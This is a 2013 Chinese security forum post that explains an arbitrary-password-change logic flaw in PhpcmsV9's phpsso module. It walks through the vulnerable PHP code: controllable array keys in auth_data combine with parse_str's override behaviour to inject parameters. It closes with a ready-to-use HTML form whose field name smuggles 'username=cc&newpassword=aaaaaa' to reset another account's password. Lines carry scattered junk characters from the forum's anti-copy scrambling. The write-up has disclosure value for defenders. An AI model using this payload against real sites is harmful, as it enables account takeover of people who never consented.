找回密码
 立即注册
查看: 2646|回复: 0
打印 上一主题 下一主题

PhpcmsV9 任意用户密码修改逻辑漏洞 2013年贺岁第三发

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 14:46:35 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
提到的通行证的代码:0 T* e5 `9 E7 Y/ r" ]0 k3 D

( m2 z* _# o$ F, g1 k" V* G. Q" }& S
! N& g5 c& [0 J. @- cparse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);
, E4 p. ~# ^. s/ H; q/ C8 ?
  j( {) w) V; q/ U. r7 q在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。& e9 O8 W% Y9 _) {, D( Z3 U# d
/ i) q. H2 L2 B7 s8 `0 `
我把它留给了你们。
  H. l! W9 k4 \$ a不知道你们发现了它没有。
( g. l* W8 @& @: K1 @, ~- G$ a% {' i5 c3 g" f9 b
我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。; c. I' |' F+ A
2 H# G8 u' h* ~* l3 M% j7 L& {. Z5 J
所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。" s9 I9 F( X# I- c2 W

8 v  O' @* q+ a) I也就是
( i8 e/ ]% U  Y7 f! W
  ^! k9 k3 x- D0 A% busername=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。5 P5 `1 X+ r/ L1 Q1 a! i

9 r; W- V& P3 z' ^! D; L要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。' D( a! a! d3 K, W/ G$ L: N8 c

3 v3 A8 y. Z+ N0 [* r/ B8 B/ ]: ]0 s# O; @8 q- i
其实我们有这样的机会,看看代码,如下:) g% w$ L; {) y, E+ h

5 a6 E, u6 E4 `: l5 g0 `" q
& \+ M# R$ X) rpublic function auth_data($data) {
4 S5 a6 O# S) M2 Y- H- [                $s = $sep = '';" B8 i; j* Q7 f- e- S
                foreach($data as $k => $v) {$ C1 t8 J9 v# i& w! _, m! o# f3 z  ~. N
                        if(is_array($v)) {
7 j; A$ [- x+ M% u" \/ F                                $s2 = $sep2 = '';; ~  m5 K# c4 d* @# c
                                foreach($v as $k2 => $v2) {- W1 s' G3 i/ S- x9 c1 f
                                                $s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);
7 f6 E, l7 ?: [8 I) g  x4 w                                        $sep2 = '&';
! @. a$ h0 N2 x- W% b% K" _                                }, `6 q1 {+ a  W5 k7 H
                                $s .= $sep.$s2;, [; d% ^% q) W* W
                        } else {
: ^( [9 s: l% v                                $s .= "$sep$k=".$this->_ps_stripslashes($v);1 h+ K/ ?# w7 R
                        }) v5 g" G) W! u7 ]& C
                        $sep = '&';
4 h# b3 z; R" t* e* R, ?                }
6 x3 [" T& D. x+ X" d3 l$ z
3 D6 \0 B) c8 \, O& C2 i                $auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));
& ^) P$ @* J# R" k' p2 y                return $auth_s;
6 c! i8 d% s8 q& n        }% B- _0 y2 Q1 X

1 c0 C2 }3 |: B1 a9 I) y可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。- }6 }5 {; Y: `& t
. R1 i' u$ h0 i: U9 b4 P& Q- {" Q
举个例子
! S% r& n& F$ q* C( K. V' F8 J+ A4 Q  [- b
$a[aaa=a&bbb] = 'a';
+ R, W$ x( A; {$ q" z' t( w3 b- M9 C% @7 x) D# }- K; j
会变成aaa=a&bbb=a
6 I1 P# c* K6 ?# Y( T+ n) }6 J! f/ m. X( N) |2 j
明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。
% b! ]! N! f+ x& ^: q1 I  B$ _5 E0 b8 c0 {
这个时候,我们可以再去看一个函数。/ D8 z/ p0 M: F3 x

6 y9 Z3 D1 f% v3 u. Q就在这个文件内:: g: M5 O4 u' D% E2 ^9 J) n
6 ]: E& I1 l1 s' Y) o7 G
* g8 G5 ^" y- b, k4 j8 c3 y: a
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {4 u$ T2 ]/ O( m* x& V; A& q4 Q
                if($email && !$this->_is_email($email)) {. M1 z2 ]2 r5 m
                        return -4;
% {# X3 s+ }* R! K                }& q7 m6 `2 d8 }. o0 f
                return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));
: W( I* {6 J; M/ y        }- k8 a, i/ A) ]
7 X' E9 h2 G9 J
这是向通行证发了这样一个请求。
) `  s$ `# g) V$ C. O
/ f, d8 l1 A( a( }我们再跟到通信证代码里去看看,就会有所发现。% w( J+ ~+ F: N$ {. L/ B  c4 J
5 u1 V3 I9 x9 G, P7 v: z" s+ G
( m! W6 `& y3 o1 f
public function edit() {; r: {2 |, @) p. J7 k. ~
//能省就省,太长了不是吗?
% x* @4 G( c" J7 H- _* c: @
  K7 ]' S) o$ j: w& j- _if($this->username) {
! l8 b( _4 v. B* h! x- t//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。
; \8 o5 i  U6 w1 F                                $res = $this->db->update($data, array('username'=>$this->username));
: T( N4 m& [. w$ ?! x' o8 ~                        } else {7 v, L- ?. P: U4 q  Y6 z
                                file_put_contents('typeb.txt',print_r($data,1).$this->uid);) L" i. a* S" P7 v2 Y
                                $res = $this->db->update($data, array('uid'=>$this->uid));/ S, P7 f- B- r* `
                        }
* ^4 ?' F% v  i' K0 h: C
8 o5 K. Q6 Y. r1 Z5 J好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:9 f/ X. ^2 t. x0 M9 }8 o
4 I; t; i- s+ ]* F
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')
, @% }9 T( X9 Z3 z
- K; |7 A& y+ y7 o/ G5 _' x1 W6 E很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。
% P6 S: P4 n& t& p4 b) g7 j1 i( f) C, }; O! t3 v  I& p8 @, o
我当然找到了:: I4 _0 S; s2 B
phpcms9/phpcms/modules/member/index.php
( z& k, Z4 h$ ]$ X; R+ b6 r* }5 g$ u5 h0 ]
$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);
3 R5 }6 N& A3 n$ y9 s3 Q5 f. E& K1 }# g% H
然后就没有然后了。+ C4 B* S! r9 [% H& g2 G4 L0 @

9 S5 i; v8 Y7 z9 c: x/ p* U+ O<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">* h9 }0 v) u) c( L
                                <table width="100%" cellspacing="0" class="table_form">
! p1 {0 u- w+ [! n1 F, N) W                                        <tr>
* v3 @& e% h, J) D                                                <th width="80">邮箱:</th>        " v' x4 c6 R3 @
                                                <td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>% h6 [5 F  V- r+ O$ U  B/ u
                                        </tr>
, D0 s# p- K0 k( d                                        <tr>' H$ d) s1 d/ [: s* v3 Q& E1 x
                                                <th width="80">原密码:</th>        
/ h& \% X9 B# [9 S: }8 Y; w& Z7 a8 W                                                <td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>. x& H' J  e; @, `6 N
                                        </tr>9 t. R% N4 _& ^
                                        <tr>
& L. @: O( x2 Y( ]/ q0 [/ S                                                <th>新密码:</th>
& p0 s; x0 P* k0 Q6 c; e$ F8 f                                                <td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>$ W/ t  b. i1 s" c9 X
                                        </tr>' k  [1 [! H$ l! Z5 K
                                        <th></th>
/ ]. ^& t4 L" b3 d. h8 ^. T! |/ ~                                        <td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>
) B7 R0 [& s7 Q                                        </tr>
* h) g3 Q: i% T  H                                </table>
* G* r+ l- K* _  j1 z% j6 d; K. h' Y' J( {2 M
                               
  d* s4 Z7 g. p. A  o. K; f                        </form>
! g* |' [9 _$ b. P1 ~
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表